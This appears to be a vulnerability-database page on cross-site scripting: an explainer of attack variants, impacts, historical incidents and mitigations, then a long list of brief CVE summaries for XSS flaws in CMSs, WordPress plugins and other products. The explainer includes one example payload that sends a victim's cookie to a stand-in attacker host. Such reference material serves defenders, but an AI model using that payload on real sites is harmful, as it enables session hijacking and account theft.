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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39153)

EPSS 0% CVSS 5.4
MEDIUM This Month

Stored cross-site scripting in the IDAttend’s IDWeb application 3.1.052 and earlier allows attackers to hijack the browsing session of the logged in user. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Idweb
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Print Pdf Email By Printfriendly
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Reflected cross-site scripting in the StudentSearch component in IDAttend’s IDWeb application 3.1.052 and earlier allows hijacking of a user’s browsing session by attackers who have convinced the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Idweb
NVD
EPSS 1% CVSS 4.8
MEDIUM POC This Month

Cross Site Scripting (XSS) vulnerability in Geeklog-Core geeklog v.2.2.2 allows a remote attacker to execute arbitrary code via a crafted payload to the Service, and website URL to Ping parameters of. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP RCE XSS +1
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

Cross Site Scripting (XSS) vulnerability in Geeklog-Core geeklog v.2.2.2 allows a remote attacker to execute arbitrary code via a crafted payload to the grp_desc parameter of the admin/group.php. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP RCE XSS +1
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

kodbox 1.44 is vulnerable to Cross Site Scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Kodbox
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

Multiple Cross Site Scripting (XSS) vulnerabilities in Concrete CMS v.9.2.1 allow an attacker to execute arbitrary code via a crafted script to the Header and Footer Tracking Codes of the SEO &. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Concrete Cms
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Cross Site Scripting vulnerability in CMSmadesimple v.2.2.18 allows a local attacker to execute arbitrary code via a crafted script to the Title parameter in the News Menu component. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Cms Made Simple
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in UVDesk Community Skeleton v1.1.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Message field. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Uvdesk
NVD
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

IBM Security Verify Governance 10.0 is vulnerable to cross-site scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Security Verify Governance
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in Enhancesoft osTicket v1.17.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Label input. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Osticket
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in the Admin panel in Enhancesoft osTicket v1.17.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Osticket
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Sterling Partner Engagement Manager 6.1.2, 6.2.0, and 6.2.2 is vulnerable to stored cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Sterling Partner Engagement Manager
NVD
EPSS 37% CVSS 5.4
MEDIUM PATCH This Month

Frappe is a full-stack web application framework that uses Python and MariaDB on the server side and an integrated client side library. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Python XSS Frappe
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

Dell Unity prior to 5.3 contains a Cross-site scripting vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Dell Unity Operating Environment +2
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability has been found in vnotex vnote up to 3.17.0 and classified as problematic. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vnote
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability, which was classified as problematic, has been found in CodeAstro Internet Banking System 1.0.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Internet Banking System
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability classified as problematic was found in CodeAstro Internet Banking System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Internet Banking System
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability classified as problematic has been found in CodeAstro Internet Banking System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Internet Banking System
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A vulnerability was found in CodeAstro Internet Banking System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Internet Banking System
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability was found in CodeAstro Internet Banking System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Internet Banking System
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability was found in CodeAstro Internet Banking System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Internet Banking System
NVD GitHub VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Add Custom Body Class plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'add_custom_body_class' value in versions up to, and including, 1.4.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Add Custom Body Class
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The EventON plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'tab' parameter in versions up to, and including, 2.2.2 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Eventon Lite
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Cross Site Scripting (XSS) vulnerability in WBCE CMS v.1.6.1 and before allows a remote attacker to escalate privileges via a crafted script to the website_footer parameter in the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Wbce Cms
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

I-doit pro 25 and below is vulnerable to Cross Site Scripting (XSS) via index.php. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS I Doit
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

An issue was discovered in SuperWebMailer 9.00.0.01710. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Superwebmailer
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

An issue was discovered in SuperWebMailer 9.00.0.01710. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Superwebmailer
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in opensolution Quick CMS v.6.7 allows a local attacker to execute arbitrary code via a crafted script to the Backend - Dashboard parameter in the Languages. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Quick Cms
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Cross Site Scripting vulnerability in CMSmadesimple v.2.2.18 allows a local attacker to execute arbitrary code via a crafted script to the Title parameter in the Manage Shortcuts component. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Cms Made Simple
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Cross Site Scripting vulnerability in CMSmadesimple v.2.2.18 allows a local attacker to execute arbitrary code via a crafted script to the Global Meatadata parameter in the Global Settings Menu. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Cms Made Simple
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Cross Site Scripting vulnerability in CMSmadesimple v.2.2.18 allows a local attacker to execute arbitrary code via a crafted script to the password and password again parameters in the My Preferences. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Cms Made Simple
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Cross Site Scripting vulnerability in CMSmadesimple v.2.2.18 allows a local attacker to execute arbitrary code via a crafted script to the Profiles parameter in the Extensions -MicroTiny WYSIWYG. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Cms Made Simple
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Cross Site Scripting vulnerability in CMSmadesimple v.2.2.18 allows a local attacker to execute arbitrary code via a crafted script to the extra parameter in the news menu component. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Cms Made Simple
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

An issue was discovered in SuperWebMailer 9.00.0.01710. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Superwebmailer
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - DOM in GitHub repository modoboa/modoboa prior to 2.2.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Modoboa
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - DOM in GitHub repository modoboa/modoboa prior to 2.2.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Modoboa
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

The nsc theme for WordPress is vulnerable to Reflected Cross-Site Scripting via prototype pollution in versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Nsc
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM This Month

The Winters theme for WordPress is vulnerable to Reflected Cross-Site Scripting via prototype pollution in versions up to, and including, 1.4.3 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Winters
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM This Month

The Your Journey theme for WordPress is vulnerable to Reflected Cross-Site Scripting via prototype pollution in versions up to, and including, 1.9.8 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Your Journey
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

XSS exists in NagVis before 1.9.38 via the select function in share/server/core/functions/html.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP XSS Nagvis
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Modern Footnotes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcode in versions up to, and including, 1.4.16 due to insufficient input sanitization and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Modern Footnotes
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Skype Legacy Buttons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'skype-status' shortcode in all versions up to, and including, 3.1 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Skype Legacy Buttons
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Contact form Form For All plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'formforall' shortcode in versions up to, and including, 1.2 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Formforall
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Advanced Custom Fields: Extended plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'acfe_form' shortcode in versions up to, and including, 0.8.9.3 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Advanced Custom Fields Extended +1
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Magic Action Box plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcodes in versions up to, and including, 2.17.2 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Magic Action Box
NVD VulDB
EPSS 0% CVSS 4.4
MEDIUM PATCH This Month

The Migration, Backup, Staging - WPvivid plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings (the backup path parameter) in versions up to, and including, 0.9.89 due. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Migration Backup Staging
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM POC This Month

The WP Mailto Links - Protect Email Addresses plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'wpml_mailto' shortcode in versions up to, and including, 3.1.3 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Wp Mailto Links
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Copy Anything to Clipboard plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'copy' shortcode in versions up to, and including, 2.6.4 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Copy Anything To Clipboard
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM POC PATCH This Month

The Poptin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'poptin-form' shortcode in versions up to, and including, 1.3 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS WordPress Popups
NVD VulDB
EPSS 0% CVSS 4.4
MEDIUM PATCH This Month

The WP Customer Reviews plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in versions up to, and including, 3.6.6 due to insufficient input sanitization and output. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Wp Customer Reviews
NVD VulDB
EPSS 0% CVSS 4.4
MEDIUM PATCH This Month

The Modern Events Calendar lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Google API key and Calendar ID in versions up to, but not including, 7.1.0 due to insufficient. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Google XSS WordPress +1
NVD VulDB
EPSS 0% CVSS 4.4
MEDIUM PATCH This Month

The ARMember Lite - Membership Plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in versions up to, and including, 4.0.16 due to insufficient input sanitization and. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Armember
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Podcast Subscribe Buttons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'podcast_subscribe' shortcode in versions up to, and including, 1.4.8 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Podcast Subscribe Buttons
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The flowpaper plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'flipbook' shortcode in versions up to, and including, 2.0.3 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Flowpaper
NVD VulDB
EPSS 0% CVSS 4.4
MEDIUM PATCH This Month

The Migration, Backup, Staging - WPvivid plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the image file path parameter in versions up to, and including, 0.9.89 due to. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Migration Backup Staging
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Sitekit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'sitekit_iframe' shortcode in versions up to, and including, 1.4 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Sitekit
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Leaflet Map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcodes in versions up to, and including, 3.3.0 due to insufficient input sanitization and output escaping. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Leaflet Map
NVD VulDB
EPSS 0% CVSS 5.5
MEDIUM PATCH This Month

The WPLegalPages plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'wplegalpage' shortcode in versions up to, and including, 2.9.2 due to insufficient input sanitization and. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Wplegalpages
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM POC PATCH This Month

The iframe plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `iframe` shortcode in versions up to, and including, 4.6 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS WordPress Iframe
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Auto Amazon Links plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the style parameter in versions up to, and including, 5.3.1 due to insufficient input sanitization and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Auto Amazon Links
NVD VulDB
EPSS 0% CVSS 4.4
MEDIUM PATCH This Month

The Photospace Responsive plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘psres_button_size’ parameter in versions up to, and including, 2.1.1 due to insufficient input. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Photospace Responsive Gallery
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

Stored XSS Vulnerability in M-Files Classic Web versions before 23.10 and LTS Service Release Versions before 23.2 LTS SR4 and 23.8 LTS SR1allows attacker to execute script on users browser via. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Classic Web
NVD
EPSS 0% CVSS 5.5
MEDIUM This Month

The Waiting: One-click countdowns plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Countdown name in versions up to, and including, 0.6.2 due to insufficient input. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Waiting
NVD VulDB
EPSS 2% CVSS 7.2
HIGH This Week

The WP Cerber Security plugin for WordPress is vulnerable to stored cross-site scripting via the log parameter when logging in to the site in versions up to, and including, 9.1. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Wp Cerber Security Anti Spam Malware Scan
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The WhatsApp Share Button plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'whatsapp' shortcode in all versions up to, and including, 1.0.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Whatsapp Share Button
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Theme Switcha plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'theme_switcha_list' shortcode in all versions up to, and including, 3.3 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Theme Switcha
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Super Testimonials plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'tpsscode' shortcode in all versions up to, and including, 2.9 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Super Testimonials
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The QAD Search Server is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to, and including, 1.0.0.315 due to insufficient checks on indexes. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Search Server
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Stored Cross-Site Scripting (XSS) vulnerability in the Company field in the "Request a Quote" Section of Small CRM v3.0 allows an attacker to store and execute malicious javascript code in the Admin. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Small Crm
NVD GitHub
EPSS 0% CVSS 8.6
HIGH POC This Week

Cross-site scripting (XSS) vulnerability in opensolution Quick CMS v.6.7 allows a local attacker to execute arbitrary code via a crafted script to the Content - Name parameter in the Pages Menu. Rated high severity (CVSS 8.6), this vulnerability is no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Quick Cms
NVD GitHub
EPSS 0% CVSS 5.2
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in evolution v.3.2.3 allows a local attacker to execute arbitrary code via a crafted payload injected into the cmsadmin, cmsadminemail, cmspassword and. Rated medium severity (CVSS 5.2), this vulnerability is low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Evolution Cms
NVD GitHub
EPSS 1% CVSS 9.6
CRITICAL Act Now

Home assistant is an open source home automation. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

RCE XSS Home Assistant
NVD GitHub
EPSS 0% CVSS 9.0
CRITICAL Act Now

Home assistant is an open source home automation. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Node.js XSS Home Assistant +1
NVD GitHub
EPSS 1% CVSS 9.6
CRITICAL Act Now

Home assistant is an open source home automation. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Home Assistant
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

TinyMCE is an open source rich text editor. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Tinymce
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

TinyMCE is an open source rich text editor. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Mozilla XSS Tinymce
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

ArchiveBox is an open source self-hosted web archiving system. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS CSRF Archivebox
NVD GitHub VulDB
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Yamcs 5.8.6 allows XSS (issue 2 of 2). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Yamcs
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Yamcs 5.8.6 allows XSS (issue 1 of 2). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Yamcs
NVD GitHub
EPSS 1% CVSS 6.1
